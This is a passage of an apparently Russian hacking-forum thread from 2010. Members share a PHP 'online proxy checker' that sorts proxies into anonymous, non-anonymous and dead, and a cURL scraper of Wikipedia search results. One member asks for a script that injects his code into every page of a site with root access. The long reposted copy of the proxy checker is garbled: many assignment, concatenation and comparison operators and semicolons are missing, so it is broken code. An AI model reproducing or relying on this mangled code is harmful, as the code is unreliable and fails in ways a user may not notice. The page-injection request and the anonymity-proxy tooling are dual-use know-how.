if(getenv('QUERY_STRING') == "test")     {        return_env_variables();     }  // Else check whether we have been passed a list of proxies to test or not  // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x)     elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') &&             (isset($HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') &&             ( (strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) ))     {        $proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1);             // Set the overall time limit for the page execution to 10 mins        set_time_limit(600);             // Set up some arrays to hold the results        $anon_proxies = array();        $nonanon_proxies = array();        $bad_proxies = array();          // Loop through and test the proxies        for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1)        {           echo 'Testing ' . $proxies[$thisproxy] . ' .....';           flush();           switch(test_proxy($proxies[$thisproxy]))           {              case 2:                echo '.. Anon<br>' . "\n";                 $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy];                 break;              case 1:                echo '.. Non anon<br>' . "\n";                 $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy];                 break;              case 0:                echo '.. Dead<br>' . "\n";                 $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy];                 break;           }        }             echo '<pre>';        echo '<br><b>Anonymous proxies</b>' . "\n";        for($thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1)           echo $anon_proxies[$thisproxy] . "\n";        echo '<br><b>Non-anonymous proxies</b>' . "\n";        for($thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1)           echo $nonanon_proxies[$thisproxy] . "\n";        echo '<br><b>Dead proxies</b>' . "\n";        for($thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1)           echo $bad_proxies[$thisproxy] . "\n";        echo '</pre>';     }  // Just a blank call of the page - show the form for the user to fill in     else     {        echo '<h2>Online Proxy checker</h2>' . "\n";        echo '<h4>(http://' . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' . "\n";        echo 'Enter up to a maximum of ' . $maximum_proxies_to_test . ' prox' . ($maximum_proxies_to_test == 1 ? 'y' : 'ies') . ' to test' . "\n";        echo '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n";        echo '<input type="hidden" name="action" value="fred">' . "\n";        echo '<textarea name="proxies" cols=35 rows=' . $maximum_proxies_to_test . '></textarea><br>' . "\n";        if(strlen($password) > 0)              echo 'Password: <input type="password" name="password" size="15"><br>' . "\n";        echo '<input type="submit" value="Check proxies">' . "\n";        echo '</form>' . "\n";     }  ?>  </body>  </html>
    
     
    #936 HARD2638, 21 Feb 2010
    Last edited by a moderator: 21 Feb 2010
  17. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    не знаете есть в паблике скрипт записи своего кода во все страницы на своем сайте ?! кода права рут...
    желательно на пхп
     
    #937 daniel_1024, 22 Feb 2010
    Last edited: 22 Feb 2010
  18. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    Парсер с Википедии

    Короче делал грабер и парсер как расшырение поиска по википедии по текущей публикации для водпреса. Но оказалось блин что на хостинге отключен курл. А так локалхосте работает. Может кому-то пригодиться.
    Code:
    <html>
    
    <head>
      <title>Parser</title>
    </head>
    <META http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css">
    .urls
    a:link {
    FONT-SIZE:10pt; color: #008040;
    text-decoration:none;
    font-weight: bold;
    font-family:  Verdana, Arial;}
    a:visited {
    FONT-SIZE:10pt; color: #008040;
    text-decoration:none;
    font-weight: bold;
    font-family: Verdana, Arial;}
    a:active {
    FONT-SIZE:10pt; color: #000000;
    text-decoration:none;
    font-weight: bold;
    font-family: Verdana, Arial;}
    a:hover {
    FONT-SIZE:10pt; color: #000000;
    text-decoration:none;
    font-weight: bold;
    font-family: Verdana, Arial;
    }
    .urls
    {
     position: absolute;
     top: 20%;
     width: 700px;
    }
    </style>
    
    
    <body>
    <?php
    
    
    // запрос
    $zapros = "Секс";
    if ( isset($zapros) )
    {
    	// Урл
    	$target = "http://uk.wikipedia.org/w/index.php";
    	// инициализация cURL
    	$ch = curl_init($target);
    	// получать заголовки
    	curl_setopt ($ch, CURLOPT_HEADER, 1);
    	// если проверяеться HTTP User-agent
    	curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3');
    	// использовать метод POST
    	curl_setopt ($ch, CURLOPT_POST, 1);
    	// передаем даные
           curl_setopt ($ch, CURLOPT_POSTFIELDS, '?title=Спеціальна%3ASearch&search='.$zapros.'&fulltext=Пошук');
    	// вернуть результат
    	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    	// делаем запрос
    	curl_exec ($ch);
    	// Берем результат
    	$result = curl_multi_getcontent ($ch);
    	// Парсимо с помощю регулярки
    	// масив $var[0] будет помещать результаты полного совпадения с шаблоном
    	preg_match_all("#(<a href=)(.*)(<span class='searchmatch'>)(.*)(</a>)#", $result, $var);
    	// выводим результаты
    	foreach ($var[0] as $value)
    	{
    		if ( !preg_match("#http://#", $value) )
    		{
    			$value = preg_replace("#/wiki/#", "http://uk.wikipedia.org/wiki/", $value);
    		}
    		$urls[] = $value;
    	}
    
    	//Выводим результати
    	echo '<div align="center" class="urls">';
    	for ($i=0; $i<15; $i++)
    	{
    		echo ''.$urls[$i].'&nbsp&nbsp&nbsp&nbsp&nbsp;';
    	}
    	echo '</div>';
    }
    
    
    
    ?>
    
    </body>
    </html>
    
     
  19. maxya

    maxya New Member

    Joined:
    15 Feb 2010
    Messages:
    55
    Likes Received:
    4
    Reputations:
    -1

    А можно выложить, чтоб не в одну строчку? :)
     
  20. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195

    PHP:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> 
    <head><title>Online proxy tester</title></head> 
    <body bgcolor="black" text="white"> 

    <?php 

    // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) 
     
    error_reporting(0); 
    // Limit the amount of proxies that can be tested at any one time 
     
    $maximum_proxies_to_test 5
    // Enter a password (if required) to protect the page 
     
    $password ''

    // Actual proxyjudge part of the page 
     
    function return_env_variables() 
     { 
    echo 
    '<pre>'."\n"
    foreach (
    $_SERVER as $header => $value 

    if ((
    strpos($header 'REMOTE')!== false || strpos($header 'HTTP')!== false || strpos($header 'REQUEST')!== false) && ( strpos($header 'HTTP_HOST') !== 0)) 

    echo 
    $header.' = '.$value."\n"


    echo 
    '</pre>'
     } 

    // Function to go away and get the page (calls through the proxy back to itself) 
     
    function get_judge_page($proxy
     { 
     
    // Depending on the server environment, this timeout setting may not be available. 
    $timeout 15
    $proxy_cont ''
    list(
    $proxy_host$proxy_port) = explode(":"$proxy); 
    $proxy_fp fsockopen($proxy_host$proxy_port$errornumber$errorstring$timeout); 
    if (
    $proxy_fp

     
    stream_set_timeout($proxy_fp$timeout); 
     
    fputs($proxy_fp"GET " $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " $_SERVER['SERVER_NAME'] . "\r\n\r\n"); 
     while(!
    feof($proxy_fp)) 
     { 
     
    $proxy_cont .= fread($proxy_fp,4096); 
     } 
     
    fclose($proxy_fp); 
     
    $proxy_cont substr($proxy_contstrpos($proxy_cont,"\r\n\r\n")+4); 

    return 
    $proxy_cont;
     } 

    // Check for the control string to see if it's a valid fetch of the judge 
     
    function check_valid_judge_response($page
     { 
    if(
    strlen($page) < 5
     return 
    false
    return 
    strpos($page'REMOTE_ADDR') !== false
     } 

    // Check for the IP addresses 
     
    function check_anonymity($page
     { 
    if(
    strpos($page$_SERVER['LOCAL_ADDR']) !== false
     return 
    false
    return 
    true
     } 

    // Takes and tests a proxy 
    // 0 - Bad proxy 
    // 1 - Good (non anon) proxy 
    // 2 - Good (anonymous) proxy 
     
    function test_proxy($proxy
     { 
    $page get_judge_page($proxy); 
    if(!
    check_valid_judge_response($page)) 
     return 
    0
    if(!
    check_anonymity($page)) 
     return 
    1
    return 
    2
     } 

    ////////// Main Page //////////// 

    // If this is a judge request, just return the environmental variables 
     
    if(getenv('QUERY_STRING') == "test"
     { 
    return_env_variables(); 
     } 
    // Else check whether we have been passed a list of proxies to test or not 
    // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) 
     
    elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && 
     (isset(
    $HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && 
     ( (
    strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) 
     { 
    $proxies explode("\n"str_replace("\r"""$HTTP_POST_VARS['proxies']), $maximum_proxies_to_test 1); 
     
     
    // Set the overall time limit for the page execution to 10 mins 
    set_time_limit(600); 
     
     
    // Set up some arrays to hold the results 
    $anon_proxies = array(); 
    $nonanon_proxies = array(); 
    $bad_proxies = array(); 

     
    // Loop through and test the proxies 
    for($thisproxy 0$thisproxy < ($maximum_proxies_to_test count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1

     echo 
    'Testing ' $proxies[$thisproxy] . ' .....'
     
    flush(); 
     switch(
    test_proxy($proxies[$thisproxy])) 
     { 
    case 
    2
    echo 
    '.. Anon' "\n"
     
    $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; 
     break; 
    case 
    1
    echo 
    '.. Non anon' "\n"
     
    $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; 
     break; 
    case 
    0
    echo 
    '.. Dead' "\n"
     
    $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; 
     break; 
     } 


    echo 
    '<pre>'
    echo 
    'Anonymous proxies' "\n"
    for(
    $thisproxy 0$thisproxy count($anon_proxies); $thisproxy += 1
     echo 
    $anon_proxies[$thisproxy] . "\n"
    echo 
    'Non-anonymous proxies' "\n"
    for(
    $thisproxy 0$thisproxy count($nonanon_proxies); $thisproxy += 1
     echo 
    $nonanon_proxies[$thisproxy] . "\n"
    echo 
    'Dead proxies' "\n"
    for(
    $thisproxy 0$thisproxy count($bad_proxies); $thisproxy += 1
     echo 
    $bad_proxies[$thisproxy] . "\n"
    echo 
    '</pre>'
     } 
    // Just a blank call of the page - show the form for the user to fill in 
     
    else 
     { 
    echo 
    '<h2>Online Proxy checker</h2>' "\n"
    echo 
    '<h4>(http://' $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' "\n"
    echo 
    'Enter up to a maximum of ' $maximum_proxies_to_test ' prox' . ($maximum_proxies_to_test == 'y' 'ies') . ' to test' "\n"
    echo 
    '<form method="POST" action="' $_SERVER['SCRIPT_NAME'] . '">' "\n"
    echo 
    '<input type="hidden" name="action" value="fred">' "\n"
    echo 
    '<textarea name="proxies" cols=35 rows=' $maximum_proxies_to_test '></textarea>
    "\n"
    if(
    strlen($password) > 0)
     echo 
    'Password: <input type="password" name="password" size="15">
    "\n"
    echo 
    '<input type="submit" value="Check proxies">' "\n"
    echo 
    '</form>' "\n"
     } 
    ?> 
    </body> 
    </html>

     
    #940 h00lyshit!, 24 Feb 2010
    Last edited: 24 Feb 2010